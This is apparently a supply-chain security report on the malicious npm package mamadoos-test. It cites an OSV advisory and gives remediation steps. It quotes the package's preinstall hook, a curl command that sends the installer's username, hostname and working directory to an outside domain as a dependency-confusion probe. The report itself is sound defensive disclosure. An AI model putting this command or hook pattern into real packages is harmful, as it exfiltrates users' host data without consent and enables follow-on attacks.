mamadoos-test
This report shows the evidence for mamadoos-test@11.0.0. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4605 confirms this npm version as malicious.
Advisory
MAL-2026-4605
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in mamadoos-test (npm)
Details
package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd)`, embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on `npm install` with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (`mamadoos-test: ^10.0.0`), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to mamadoos-test@11.0.0.
The same advisory and Firewall decision cover 3 recorded versions
10.0.0, 10.1.0, 11.0.0
The versions list below shows the verdict for each recorded version.
- Avoid installing mamadoos-test@11.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.